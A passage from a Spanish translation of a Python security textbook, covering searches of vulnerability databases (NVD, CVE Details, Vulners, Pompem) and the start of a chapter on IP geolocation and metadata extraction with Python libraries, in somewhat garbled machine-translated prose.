código del Sistema Común de Puntuación de
Vulnerabilidades ( CVSS ) y una puntuación base según el
nivel de criticidad. Por ejemplo, la siguiente URL
( https://nvd.nist.gov/vuln/detail/CVE-2023-0001 )
contiene información sobre la primera vulnerabilidad detectada
en 2023.
Las puntuaciones CVSS proporcionan un conjunto de criterios
estándar que permiten determinar qué vulnerabilidades tienen
mayor probabilidad de ser explotadas con éxito. La puntuación
CVSS introduce un sistema para calificar vulnerabilidades,
considerando un conjunto de criterios estandarizados y fáciles
de medir.
Las vulnerabilidades se clasifican con una gravedad alta, media
o baja en el informe del análisis. La gravedad depende de la
puntuación asignada al CVE por el CVSS. La mayoría de los
escáneres de vulnerabilidades utilizan la puntuación del
proveedor para medir la gravedad de forma fiable:
Alto : La vulnerabilidadtiene una puntuación CVSS basal
que oscila entre 8,0 y 10,0.
Medio : La vulnerabilidad tiene un puntaje CVSS base que
va de 4,0 a 7,9.
Bajo : la vulnerabilidad tiene un puntaje CVSS base que
varía entre 0,0 y 3,9.
El CVSS tiene como objetivo estimar el impacto de una
vulnerabilidad y se compone de los siguientes tres grupos
principales de métricas:
Grupo base : Son estoslas características de una
vulnerabilidad que son independientes del tiempo y del
entorno.
Grupo temporal : EstosSon las características de una
vulnerabilidad que cambian con el tiempo.
Grupo ambientalista : Estosson las características de
una vulnerabilidad que están relacionadas con el entorno
del usuario.
La versión 3 del CVSS se creó con el objetivo de cambiar
ciertas métricas y agregar algunas nuevas, por ejemplo, la
métrica de alcance, que intenta complementar la evaluación
global de las métricas base y dar al resultado un valor
dependiendo de qué privilegios y qué recursos se vean
afectados por la explotación de la vulnerabilidad.
Con este análisis, ustedSe pueden observar las diferentes
vulnerabilidades que cualquier usuario puede explotar, ya que
son accesibles a través de internet. Más adelante,
aprenderemos a buscar estas vulnerabilidades con diferentes
motores de búsqueda.
En busca de vulnerabilidades
Otra forma de encontrarUna vulnerabilidad consiste en
investigar registros públicos. Por ejemplo, CVE Details
( https://www.cvedetails.com ) es un servicio donde se
pueden encontrar datos sobre vulnerabilidades
comunes.Vulnerabilidades en una interfaz gráfica práctica. Este
sitio web organiza sus categorías por proveedor, producto,
fecha de registro y tipo de vulnerabilidad. Allí encontrará las
vulnerabilidades públicas más recientes y podrá filtrar la
información con precisión. En la siguiente captura de pantalla,
podemos ver la distribución actual de la puntuación CVSS para
todas las vulnerabilidades.
Figura 11.6: Distribución de la puntuación CVSS para todas las
vulnerabilidades
Además, CVE Details proporciona datos adicionales sobre la
vulnerabilidad CVE en cuestión, como por ejemplo:Por ejemplo,
el nivel de gravedad o criticidad. Este nivel se determina
mediante el código CVSS, un valor numérico que representa el
nivel de criticidad de la vulnerabilidad.
CVE Details es una alternativa adecuada para complementar el
sitio web oficial del programa CVE Security, ya que proporciona
información aún más detallada sobre cada error que este sitio
web.
Obviamente, el equipo de seguridad de PyPI ha eliminado del
repositorio los paquetes maliciosos detectados, pero es
probable que volvamos a encontrarnos con casos similares en
el futuro.
A continuación, podríamosUse Python para realizar una
búsqueda dentro del NVD. Puede encontrar el siguiente código
en el repositorio de GitHub, en el
archivo cve_search_nvd_database.py.
import requests
import re
import sys
def get_cve_info(query):
nvd_url = f"https://nvd.nist.gov/vuln/search/results?
form_type=Advanced&results_type=overview&query={query}
&search_type=all"
response = requests.get(nvd_url)
if response.status_code == 200:
html_content = response.text
cve_ids = re.findall(r'href="/vuln/detail/CVE-(.*?)"',
html_content)
if cve_ids:
cve_ids.sort()
print("\nCVEs found for", query, ":")
for cve_id in cve_ids:
cve_url = f"https://www.cvedetails.com/cve/CVE-
{cve_id}"
cve_response = requests.get(cve_url)
if cve_response.status_code == 200:
cve_html_content = cve_response.text
cve_summary = re.search(r'<div
class="cvedetailssummary">(.*?)</div>', cve_html_content,
re.DOTALL).group(1)
print("\n", cve_id, ":", cve_summary)
En el código anterior, definimos una función que permite usar
el NVD para buscar la palabra que pasamos como parámetro.
Para cada CVE encontrado, consultamos
el cvedetail.comservicio para obtener la descripción de la
vulnerabilidad. Finalizamos el script anterior, compilando
nuestro programa principal con información sobre los
parámetros necesarios para su ejecución.
if __name__ == '__main__':
if len(sys.argv) == 2 and sys.argv[1] == '-h':
print("\n" 'Usage mode: python
cve_search_nvd_database.py <term_search>')
print('Example: python3 cve_search_nvd_database.py
"vsFTPd 2.3.4"\n')
sys.exit()
elif len(sys.argv) != 2:
print("\n" 'Usage mode: python
cve_search_nvd_database.py -h for help\n')
sys.exit()
query = sys.argv[1]
get_cve_info(query)
La siguienteLa ejecución muestra los resultados de la búsqueda
de vulnerabilidades relacionadas con openssl.
$ python cve_search_nvd_database.py "openssl"
CVEs found for openssl :
2022-0517 :
Mozilla VPN can load an OpenSSL configuration file from an
unsecured directory. A user or attacker with limited privileges
could leverage this to launch arbitrary code with SYSTEM
privilege. This vulnerability affects Mozilla VPN < 2.7.1.<br>
<span class="datenote">
Publish Date : 2022-12-22 Last Update Date :
2022-12-29</span>
2022-3358 :
OpenSSL supports creating a custom cipher via the legacy
EVP_CIPHER_meth_new() function and associated function calls.
This function was deprecated in OpenSSL 3.0 and application
authors are instead encouraged to use the new provider
mechanism in order to implement custom ciphers. OpenSSL
versions 3.0.0 to 3.0.5 incorrectly handle legacy custom ciphers
passed to the EVP_EncryptInit_ex2(), EVP_DecryptInit_ex2() and
EVP_CipherInit_ex2() functions (as well as other similarly
named encryption and decryption initialisation functions).
Instead of using the custom cipher directly it incorrectly tries to
fetch an equivalent cipher from the available providers. An
equivalent cipher is found based on the NID passed to
EVP_CIPHER_meth_new(). This NID is supposed to represent the
unique NID for a given cipher. However it is possible for an
application to incorrectly pass NID_undef as this value in the
call to EVP_CIPHER_meth_new(). When NID_undef is used in this
way the OpenSSL encryption/decryption initialisation function
will match the NULL cipher as being equivalent and will fetch
this from the available providers. This will succeed if the default
provider has been loaded (or if a third party provider has been
loaded that offers this cipher). Using the NULL cipher means
that the plaintext is emitted as the ciphertext. Applications are
only affected by this issue if they call EVP_CIPHER_meth_new()
using NID_undef and subsequently use it in a call to an
encryption/decryption initialisation function. Applications that
only use SSL/TLS are not impacted by this issue. Fixed in
OpenSSL 3.0.6 (Affected 3.0.0-3.0.5). <br>
<span class="datenote">
Publish Date : 2022-10-11 Last Update Date : 2022-12-13
</span>
The tool also offers the possibility to search by CVE identifier.
$ python cve_search_nvd_database.py "CVE-2023-0001"
CVEs found for CVE-2023-0001 :
2023-0001 :
An information exposure vulnerability in the Palo Alto Networks
Cortex XDR agent on Windows devices allows a local system
administrator to disclose the admin password for the agent in
cleartext, which bad actors can then use to execute privileged
cytool commands that disable or uninstall the agent. <br>
<span class="datenote">
Publish Date : 2023-02-08 Last Update Date : 2023-02-18
</span>
A continuación, revisaremosCómo podemos utilizar el servicio y
la API Vulners para buscar vulnerabilidades.
Búsqueda de vulnerabilidades en la base de datos Vulners
En esta sección, veremos cómo encontrar vulnerabilidades en
la base de datos de vulnerabilidades.
Vulners – https://pypi.org/project/vulners – es una
biblioteca de Python para la base de datos Vulners,
queProporciona capacidad de búsqueda, recuperación de
datos, archivo yAnálisis de vulnerabilidades de API para
integración. Con esta biblioteca, puede crear herramientas de
seguridad y acceder a la base de datos de seguridad más
grande del mundo. Dado que el paquete está disponible en
PyPI, puede usar el siguiente comando para la instalación:
$ pip install vulners
Todas las colecciones se encuentran
en https://vulners.com/#stats . Por ejemplo, podríamos
buscar vulnerabilidades con puntuaciones altas de CVSS
en https://vulners.com/search?query=cvss.score:
[6%20TO%2010]%20AND%20order:published .
Figura 11.7: Búsqueda en la base de datos Vulners por
puntuación CVSS
También podemos buscar vulnerabilidades de
Linux: https://vulners.com/search?
query=bulletinFamily:unix%20order:published .
Es importante recordar que para usar la API de Vulners desde
Python, necesitamos registrarnos y obtener la clave de API para
consultarla. El siguiente script permite probar algunas de
las...métodos ofrecidos por la API de Python para obtener
información sobre una vulnerabilidad específica.
Puede encontrar el siguiente código en el repositorio de GitHub
en el archivo search_vulners.py.
import vulners
vulners_api = vulners.Vulners(api_key="API_KEY")
openssl = vulners_api.find_all(query="openssl", limit=5)
for i, val in enumerate(openssl):
for key,value in val.items():
print(key,":",value)
CVE_2023_001 = vulners_api.document("CVE-2023-0001")
for key,value in CVE_2023_001.items():
print(key,":",value)
references = vulners_api.get_bulletin_references("CVE-2023-
0001")
for key,value in references.items():
for key,val in enumerate(value):
for key,value in val.items():
print(key,":",value)
En el script anterior, usamos la API de vulnerabilidades para
obtener información sobre los documentos por identificador
CVE y obtener referencias para la vulnerabilidad.
La siguienteLa ejecución es una salida parcial donde se obtiene
información sobre el primer identificador CVE encontrado en el
año 2023.
id : CVE-2023-0001
type : cve
bulletinFamily : NVD
title : CVE-2023-0001
description : An information exposure vulnerability in the Palo
Alto Networks Cortex XDR agent on Windows devices allows a
local system administrator to disclose the admin password for
the agent in cleartext, which bad actors can then use to
execute privileged cytool commands that disable or uninstall
the agent.
published : 2023-02-08T18:15:00
modified : 2023-02-18T20:41:00
cvss : {'score': 0.0, 'vector': 'NONE'}
href : https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-
2023-0001
cvelist : ['CVE-2023-0001']
lastseen : 2023-02-18T21:42:56
enchantments : {'vulnersScore': 'PENDING'}
lastseen : 2023-02-18T22:22:16
description : An information exposure vulnerability in the Palo
Alto Networks Cortex XDR agent on Windows devices allows a
local system administrator to disclose the admin password for
the agent in cleartext, which bad actors can then use to
execute privileged cytool commands that disable or uninstall
the agent.
**Work around:**
There are no known workarounds for this issue.
cvss3 : {'exploitabilityScore': 0.8, 'cvssV3': {'baseSeverity':
'MEDIUM', 'confidentialityImpact': 'HIGH', 'attackComplexity':
'LOW', 'scope': 'UNCHANGED', 'attackVector': 'LOCAL',
'availabilityImpact': 'HIGH', 'integrityImpact': 'HIGH',
'privilegesRequired': 'HIGH', 'baseScore': 6.7, 'vectorString':
'CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H', 'version': '3.1',
'userInteraction': 'NONE'}, 'impactScore': 5.9}
published : 2023-02-08T17:00:00
type : paloalto
title : Cortex XDR Agent: Cleartext Exposure of Agent Admin
Password
bulletinFamily : software
cvss2 : {}
cvelist : ['CVE-2023-0001']
modified : 2023-02-08T17:00:00
id : PA-CVE-2023-0001
href : https://securityadvisories.paloaltonetworks.com/CVE-
2023-0001
cvss : {'score': 0.0, 'vector': 'NONE'}
lastseen : 2023-02-18T22:22:16
description : A file disclosure vulnerability in the Palo Alto
Networks Cortex XSOAR server software enables an
authenticated user with access to the web interface to read
local files from the server.
A continuación, vamos aRevisar cómo buscamos
vulnerabilidades con otras herramientas como Pompem.
Buscando vulnerabilidades con Pompem
En esta sección, veremos cómo encontrar vulnerabilidades con
otras herramientas como Pompem. Dado que es
imposible...Estar siempre al día con todoDebido a las
vulnerabilidades y exploits descubiertos en los principales
sistemas y servidores, existen grandes bases de datos que
registran todas estas fallas de seguridad para que cualquiera
pueda consultarlas. Estas bases de datos suelen ser de código
abierto. Por ello, existen herramientas diseñadas para facilitar
la consulta de estas bases de datos.
Pompem ( https://github.com/rfunix/Pompem ) es una de
las herramientas más completas que podemos encontrar hoy
en día paraBúsqueda de vulnerabilidades y exploits para todo
tipo de plataformas y servidores. Esta herramienta,
desarrollada en Python, busca automáticamente todo tipo de
vulnerabilidades y exploits en las bases de datos más
importantes, como, por ejemplo:
Tormenta de paquetes
Seguridad CX
Día cero
Vulnerables
NVD
Base de datos de vulnerabilidades de WPScan
Además, cuenta con un sistema de búsqueda avanzado
enfocado en ayudar a hackers éticos e investigadores de
seguridad en su trabajo. Para instalar Pompem en su
computadora, simplemente ejecute el siguiente comando
desde una consola:
$ pip install -r requirements.txt
El asistente se encargará de analizar el sistema y descargar e
instalar todo lo necesario para que esta herramienta funcione.
Esta aplicación es compatible con virtualenv , por lo que
podemos mantener...toda la aplicación y todas las
dependencias aisladas del resto del ecosistema Python.
Una vez que tenemosTodo instalado y listo, nosotrosPuedes
empezar a usar esta herramienta. Lo primero que haremos será
consultar la ayuda del programa para entender su
funcionamiento:
$ python pompem.py -h
Options:
-h, --help show this help message and exit
-s, --search <keyword,keyword,keyword> text for search
--txt Write txt File
--html Write html File
En términos generales, lo más importante es usar el -
sparámetro para buscar una o más palabras clave, y los
parámetros -txty -htmlpara elegir el formato en el que
queremos exportar la información. Por ejemplo, si queremos
buscar vulnerabilidades en Python y guardar los resultados en
HTML, el comando específico sería:
$ python pompem.py -s Python –html
+Date Description Url
+--------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------
-------------------------+
+ 2023-03-07 | Ubuntu Security Notice USN-5931-1 |
https://packetstormsecurity.com/files/171278/Ubuntu-Security-
Notice-USN-5931-1.html
+--------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------
-------------------------+
+ 2023-03-07 | Ubuntu Security Notice USN-5930-1 |
https://packetstormsecurity.com/files/171277/Ubuntu-Security-
Notice-USN-5930-1.html
+--------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------
-------------------------+
+ 2023-03-07 | Ubuntu Security Notice USN-5767-3 |
https://packetstormsecurity.com/files/171255/Ubuntu-Security-
Notice-USN-5767-3.html
También podríamos buscar vulnerabilidades en ciertos
protocolos:
$ python pompem.py -s ssh,ftp,mysql –txt
En la fuentecódigo, podemos ver los distintos serviciosEsta
herramienta se utiliza para buscar vulnerabilidades.
Por ejemplo, la PacketStormclase es responsablePara buscar
vulnerabilidades en el
servicio https://packetstormsecurity.com . Puedes
encontrar el siguiente código en el repositorio de GitHub del
proyecto: https://github.com/rfunix/Pompem/blob/master/
core/scrapers.py .
class PacketStorm(Scraper):
def __init__(self, key_word):
Scraper.__init__(self)
self.name_site = "Packet Storm Security"
self.name_class = PacketStorm.__name__
self.base_url = "https://packetstormsecurity.com"
self.key_word = key_word
self.url =
"https://packetstormsecurity.com/search/files/page{0}/?q={1}"
self.page_max = 2
self.list_result = []
self.regex_item = re.compile(r'(?ms)(<dl id="[^"]*?".*?
<\/dl>)')
self.regex_url = re.compile(r'href="(/files/\d+?\/[^"]*?)"')
self.regex_date = re.compile(r'href="/files/date/(\d{4}-\
d{2}-\d{2})')
self.regex_name =
re.compile(r'href="/files/\d+?\/[^"]*?".*?title.*?>([^<]*?)<')
def run(self, ):
for page in range(self.page_max):
try:
url_search = self.url.format(page + 1, self.key_word)
req_worker = RequestWorker(url_search)
req_worker.start()
self.list_req_workers.append(req_worker)
except Exception as e:
import traceback
traceback.print_exc()
self._get_results()
def _parser(self, html):
for item in self.regex_item.finditer(html):
item_html = item.group(0)
dict_result = {}
url_exploit = "{0}{1}".format(
self.base_url,
self.regex_url.search(item_html).group(1))
dict_result['url'] = url_exploit
dict_result['date'] =
self.regex_date.search(item_html).group(1)
dict_result['name'] =
self.regex_name.search(item_html).group(1)
self.list_result.append(dict_result)
Por ejemplo, si buscamos vulnerabilidades relacionadas con
Python, estos son los principales servicios que utiliza la
herramienta para realizar las búsquedas:
https://nvd.nist.gov/vuln/search/results?
form_type=Basic&results_type=overview&query=py
thon&search_type=all&isCpeNameSearch=false
https://0day.today/search?search_request=python
https://cxsecurity.com/search/wlb/DESC/AND/
2023.2.26.1999.1.1/0/10/python/
https://packetstormsecurity.com/search/?
q=python&s=files
Como podemos ver, Pompem es una de las herramientas más
completas que podemos encontrar para buscar
vulnerabilidades.y exploits para cualquier sistema operativo,
servidor oServicio, o para cualquier dispositivo de cualquier
fabricante. Gracias a que realiza consultas en las bases de
datos más importantes, la información se mantiene siempre
actualizada con las últimas vulneraciones de seguridad.
Resumen
En este capítulo, el objetivo fue proporcionar motores de
búsqueda específicos para obtener más información sobre una
vulnerabilidad. Analizamos las principales bases de datos para
la búsqueda de identificadores CVE y cómo automatizar el
proceso de extracción con Python.
En el siguiente capítulo, presentaremos los principales módulos
de Python para extraer información sobre direcciones IP de
geolocalización, extraer metadatos de imágenes y documentos
PDF e identificar la tecnología web utilizada por un sitio web.
Además, explicaremos cómo extraer metadatos para los
navegadores Chrome y Firefox, así como información sobre
descargas, cookies e historial almacenado en la base de datos
SQLite.
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Qué es un exploit y cómo se puede atacar una
vulnerabilidad?
2. ¿Cuál es el significado de los códigos CVSS desde el punto
de vista de la vulnerabilidad?
3. ¿Qué organización es responsable de crear y mantener la
base de datos CVE?
4. ¿Qué servicio puede utilizarse para encontrar datos sobre
vulnerabilidades comunes y organizar sus categorías por
proveedores, productos, fecha de registro y tipo de
vulnerabilidad?
5. ¿Qué método de la API de Vulners puedes utilizar para
obtener referencias para un identificador CVE específico?
Lectura adicional
La API de
Vulners : https://github.com/vulnersCom/api
Muestras de
vulnerabilidades : https://github.com/vulnersCom/a
pi/tree/master/samples
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
Sección 5
Análisis forense de Python
En esta sección, aprenderá herramientas para aplicar técnicas
forenses, usar Python para extraer metadatos de documentos,
imágenes y navegadores, ejecutar ataques de fuerza bruta y
aplicar técnicas de criptografía y ofuscación de código.
Esta parte del libro comprende los siguientes capítulos:
Capítulo 12 , Extracción de geolocalización y metadatos
de documentos, imágenes y navegadores
Capítulo 13 , Herramientas de Python para ataques de
fuerza bruta
Capítulo 14 , Criptografía y ofuscación de código
12
Extracción de geolocalización y metadatos de documentos,
imágenes y navegadores
Los metadatos consisten en una serie de etiquetas que
describen información diversa sobre un archivo. La información
que almacenan puede variar considerablemente según cómo
se creó el archivo, su formato, el autor, la fecha de creación y
el sistema operativo.
Este capítulo abarca los principales módulos de Python para
extraer información sobre direcciones IP de geolocalización,
extraer metadatos de imágenes y documentos, e identificar la
tecnología web utilizada por un sitio web. También
explicaremos cómo extraer metadatos para los navegadores
Chrome y Firefox, así como la información relacionada con
descargas, cookies e historial almacenado en la base de
datos SQLite .
Este capítulo nos proporcionará conocimientos básicos sobre
las diferentes herramientas que necesitaremos utilizar para
conocer la geolocalización de una dirección IP específica y
extraer metadatos de muchos recursos, como documentos,
imágenes y navegadores.
En este capítulo se tratarán los siguientes temas:
Extracción de información de geolocalización
mediante python-geoipymaxminddb-geolite2
Extracción de metadatos de imágenes con
la exifherramienta y PILel módulo de Python
Extracción de metadatos de documentos PDF con
los módulos PyPDF2yPyMuPDF
Identificar la tecnología utilizada por un sitio web
Extracción de metadatos de navegadores web
Requisitos técnicos
Antes de comenzar a leer este capítulo, es recomendable
conocer los fundamentos de la programación en Python y tener
conocimientos básicos de HTTP. Trabajaremos con la versión
3.10 de Python, disponible en www.python.org/downloads .
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter12 .
Extracción de información de geolocalización
Una forma de obtener geolocalizaciónDesde una dirección IP o
un dominio se utiliza un servicio que proporciona datos de
ubicación como el país, la latitud y la longitud. Entre los
servicios que proporcionan esta información de forma
sencilla, hackertarget.comse encuentra un popular...Servicio
con datos de ubicación de calidad
( https://hackertarget.com/geoip-ip-location-lookup ).
Este servicio también proporciona una API REST para obtener la
geolocalización de una dirección IP mediante el punto
final https://api.hackertarget.com/geoip/?q=8.8.8.8 :
IP Address: 8.8.8.8
Country: United States
State: California
City: Los Angeles
Latitude: 34.0544
Longitude: -118.2441
Podemos usar servicios similares para obtener la
geolocalización, como https://ip-api.com . Este servicio
proporciona un punto final para obtener la geolocalización por
dirección IP: http://ip-api.com/json/8.8.8.8 . En el siguiente
script, usamos este servicio y el requestsmódulo para obtener
una respuesta JSON con información de geolocalización. Puedes
encontrar el siguiente código en el ip_geolocation.pyarchivo
dentro de la geolocationcarpeta:
import requests
class IPGeolocation(object):
def __init__(self, ip_address):
self.latitude = ''
self.longitude = ''
self.country = ''
self.city = ''
self.time_zone = ''
self.ip_address = ip_address
self.get_location()
def get_location(self):
json_request = requests.get('http://ip-api.com/json/%s' %
self.ip_address).json()
print(json_request)
if 'country' in json_request.keys():
self.country = json_request['country']
if 'countryCode' in json_request.keys():
self.country_code = json_request['countryCode']
if 'timezone' in json_request.keys():
self.time_zone = json_request['timezone']
if 'city' in json_request.keys():
self.city = json_request['city']
if 'lat' in json_request.keys():
self.latitude = json_request['lat']
if 'lon' in json_request.keys():
self.longitude = json_request['lon']
if __name__ == '__main__':
geolocation = IPGeolocation('151.101.1.168')
print(geolocation.__dict__)
La salida del anteriorEl script será como el que se muestra
aquí:
{'status': 'success', 'country': 'United States', 'countryCode':
'US', 'region': 'CA', 'regionName': 'California', 'city': 'San
Francisco', 'zip': '94107', 'lat': 37.721, 'lon': -122.391,
'timezone': 'America/Los_Angeles', 'isp': 'Fastly, Inc.', 'org':
'Fastly, Inc.', 'as': 'AS54113 Fastly, Inc.', 'query':
'151.101.1.168'}
{'latitude': 37.721, 'longitude': -122.391, 'country': 'United
States', 'city': 'San Francisco', 'time_zone':
'America/Los_Angeles', 'ip_address': '151.101.1.168',
'country_code': 'US'}
Módulos de Python para extraer información de geolocalización
Ahora que hemos revisadoalgunos serviciosPara obtener la
geolocalización a partir de la dirección IP, revisaremos los
principales módulos de Python para obtener esta información.
Trabajaremos con los siguientes módulos:
geoip-python3 : proporciona funcionalidad GeoIPpara
Python ( https://pypi.org/project/python-geoip-
python3 )
python-geoip-geolite2 : Proporciona acceso a
la geolite2base de datos. Este producto incluyeDatos
GeoLite2 creados por MaxMind, disponibles
en http://www.maxmind.com
geoip2 : Proporciona acceso a los servicios web de
GeoIP2y bases de datos
( https://github.com/maxmind/GeoIP2-python , https
://pypi.org/project/geoip2/ )
maxminddb-geolite2 : Proporcionauna extensión de
lectura sencilla de MaxMindDB
( https://github.com/rr2do2/maxminddb-geolite2 )
geoip-python3y python-geoip-geolite2se puede instalar
utilizando los siguientes comandos:
$ pip install python-geoip-python3
$ pip install python-geoip-geolite2
En el siguiente script, obtendremosgeolocalización a partir de
una dirección IPUsando el lookup()método. Puedes encontrar el
siguiente código en el geoip_python3.pyarchivo dentro de
la geolocationcarpeta:
import argparse
import socket
from geoip import geolite2
import json
parser = argparse.ArgumentParser(description='Get IP
Geolocation info')
parser.add_argument('--hostname', action="store",
dest="hostname", required=True)
given_args = parser.parse_args()
hostname = given_args.hostname
ip_address = socket.gethostbyname(hostname)
print("IP address: {0}".format(ip_address))
geolocation = geolite2.lookup(ip_address)
if geolocation is not None:
print('Country: ',geolocation.country)
print('Time zone: ', geolocation.timezone)
print('Location: ', geolocation.location)
En la siguiente salida, podemos ver la ejecución del script
anterior utilizando el python.orgdominio como nombre de host:
$ python geoip_python3.py --hostname python.org
IP address: 151.101.129.168
Country: US
Time zone: America/New_York
Location: (42.9956, -71.4548)
Ahora revisaremos el geoip2módulo. Podemos instalarlo con el
siguiente comando:
$ pip install geoip2
En el siguiente script, estamos usandoEste módulo para
obtener geolocalizaciónDesde una dirección IP usando
la GeoLite2-City.mmdbbase de datos. Puede encontrar el
siguiente código en el geoip2_python3.pyarchivo dentro de
la geolocationcarpeta:
import argparse
import geoip2.database
import socket
def geolocation(ip_address):
with geoip2.database.Reader('GeoLite2-City.mmdb') as gi:
rec = gi.city(ip_address)
city = rec.city.name
region = rec.subdivisions.most_specific.name
country = rec.country.name
continent = rec.continent.name
latitue = rec.location.latitude
longitude = rec.location.longitude
print(f'[*] Target: {ip_address} Geo-located.')
print(f'[+] {city}, {region}, {country}, {continent}')
print(f'[+] Latitude: {latitue}, Longitude: {longitude}')
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Get IP
Geolocation info')
parser.add_argument('--hostname', action="store",
dest="hostname",default='python.org')
given_args = parser.parse_args()
hostname = given_args.hostname
ip_address = socket.gethostbyname(hostname)
geolocation(ip_address)
En la siguiente salida, podemos ver la ejecución del script
anterior utilizando el python.orgdominio como nombre de host:
$ python geoip2_python3.py --hostname scanme.nmap.org
[*] Target: 45.33.32.156 Geo-located.
[+] Fremont, California, United States, North America
[+] Latitude: 37.5625, Longitude: -122.0004
En el siguiente ejemplo, el objetivoes leer un pcaparchivo y
obtenerLa geolocalización de los paquetes involucrados en la
comunicación. Para esta tarea, presentamosUn nuevo módulo
llamado dpkt( https://pypi.org/project/dpkt ), que permite
leer los paquetes dentro de un archivo pcap file. El siguiente
código se encuentra en el geolocation_packets_pcap.pyarchivo
dentro de la geolocationcarpeta:
import dpkt
import socket
import geoip2.database
import argparse
def geolocation(ip_address):
try:
with geoip2.database.Reader('GeoLite2-City.mmdb') as gi:
rec = gi.city(ip_address)
city = rec.city.name
country = rec.country.name
continent = rec.continent.name
latitue = rec.location.latitude
longitude = rec.location.longitude
return f'{city}, {country}, {continent}, {latitue}
{longitude}'
except Exception as e:
print(f'{"":>3}[-] Exception: {e.__class__.__name__}')
En el código anterior, definimos una función que acepta la
dirección IP como parámetro y obtiene la geolocalización
mediante la base de datos GeoLite2-City.mmdb. Continuamos
con una función que nos permite leer cada paquete del archivo
pcap y obtener las direcciones IP de origen y destino:
def read_pcap(pcap_file):
for ts, buf in pcap_file:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
print(f'[+] Src: {geolocation(src)} --> Dst:
{geolocation(dst)}')
except Exception as exception:
print(f'{"":>3}[-] Exception: {exception}')
pass
Finalmente, nuestro programa principal permite solicitar al
usuario el archivo de entrada y utilizar el dpktmódulo para leer
el pcaparchivo pasado como parámetro.
if __name__ == '__main__':
parser = argparse.ArgumentParser(usage='python3
geo_print PCAP_FILE')
parser.add_argument('--pcap', type=str,help="specify the
name of the PCAP file")
args = parser.parse_args()
pcap = args.pcap
with open(pcap, 'rb') as file:
pcap = dpkt.pcap.Reader(file)
read_pcap(pcap)
En la siguiente salida, podemosver la ejecucióndel script
anterior utilizando el geolocation.pcaparchivo, que contiene los
paquetes involucrados en la comunicación.
$ python geolocation_packets_pcap.py --pcap geolocation.pcap
[+] Src: Naju, South Korea, Asia, 34.9066 126.6651 --> Dst:
Brighton, United Kingdom, Europe, 50.8309 -0.1635
[+] Src: None, United States, North America, 37.751 -97.822 --
> Dst: None, United States, North America, 37.751 -97.822
[+] Src: None, United States, North America, 37.751 -97.822 --
> Dst: None, United States, North America, 37.751 -97.822
[+] Src: None, South Korea, Asia, 37.5112 126.9741 --> Dst:
None, Saudi Arabia, Asia, 25.0 45.0
[+] Src: None, United States, North America, 37.751 -97.822 --
> Dst: Aomori, Japan, Asia, 40.8167 140.7333
[+] Src: None, Singapore, Asia, 1.3667 103.8 --> Dst: None,
United States, North America, 37.751 -97.822
[+] Src: None, Japan, Asia, 35.69 139.69 --> Dst: None, Japan,
Asia, 35.69 139.69
[+] Src: Gourock, United Kingdom, Europe, 55.9616 -4.8179 -->
Dst: None, United States, North America, 37.751 -97.822
[+] Src: None, Australia, Oceania, -33.494 143.2104 --> Dst:
Prague, Czechia, Europe, 50.05 14.4
Ahora revisaremos el maxminddb-geolite2módulo. Podemos
instalarlo con el siguiente comando:
$ pip install maxminddb-geolite2
En el siguiente script, podemosver un ejemploCómo usar
el maxminddb-geolite2módulo. Puedes encontrar el siguiente
código en el maxminddb_geolite2_reader.pyarchivo dentro de
la geolocationcarpeta:
import socket
from geolite2 import geolite2
import argparse
import json
parser = argparse.ArgumentParser(description='Get IP
Geolocation info')
parser.add_argument('--hostname', action="store",
dest="hostname", default='python.org')
given_args = parser.parse_args()
hostname = given_args.hostname
ip_address = socket.gethostbyname(hostname)
print("IP address: {0}".format(ip_address))
reader = geolite2.reader()
response = reader.get(ip_address)
print (json.dumps(response,indent=4))
print ("Continent:",json.dumps(response['continent']['names']
['en'],indent=4))
print ("Country:",json.dumps(response['country']['names']
['en'],indent=4))
print ("Latitude:",json.dumps(response['location']
['latitude'],indent=4))
print ("Longitude:",json.dumps(response['location']
['longitude'],indent=4))
print ("Time zone:",json.dumps(response['location']
['time_zone'],indent=4))
En la siguiente salida, podemos ver la ejecución.del guión
anteriorUsando el python.orgdominio como nombre de host:
$ python maxminddb_geolite2_reader.py --hostname
python.org
IP address: 151.101.193.168
{
"city": {
"geoname_id": 5391959,
"names": {
"de": "San Francisco",
"en": "San Francisco",
"es": "San Francisco",
"fr": "San Francisco",
"ja": "\u30b5\u30f3\u30d5\u30e9\u30f3\u30b7\u30b9\
u30b3",
"pt-BR": "S\u00e3o Francisco",
"ru": "\u0421\u0430\u043d-\u0424\u0440\u0430\
u043d\u0446\u0438\u0441\u043a\u043e",
"zh-CN": "\u65e7\u91d1\u5c71"
},
"continent": {
"code": "NA",
"geoname_id": 6255149,
"names": {
"de": "Nordamerika",
"en": "North America",
"es": "Norteam\u00e9rica",
"fr": "Am\u00e9rique du Nord",
"ja": "\u5317\u30a2\u30e1\u30ea\u30ab",
"pt-BR": "Am\u00e9rica do Norte",
"ru": "\u0421\u0435\u0432\u0435\u0440\u043d\u0430\
u044f \u0410\u043c\u0435\u0440\u0438\u043a\u0430",
"zh-CN": "\u5317\u7f8e\u6d32"
},
"country": {
"geoname_id": 6252001,
"iso_code": "US",
"names": {
"de": "USA",
"en": "United States",
"es": "Estados Unidos",
"fr": "\u00c9tats-Unis",
"ja": "\u30a2\u30e1\u30ea\u30ab\u5408\u8846\u56fd",
"pt-BR": "Estados Unidos",
"ru": "\u0421\u0428\u0410",
"zh-CN": "\u7f8e\u56fd"
},
En la salida anterior, podemos ver informaciónSobre la ciudad,
el continente y el país. Continuamos con la producción.donde
podemos resaltar información sobre la latitud, longitud, zona
horaria, código postal, país registrado y subdivisión dentro del
país:
"location": {
"accuracy_radius": 1000,
"latitude": 37.7697,
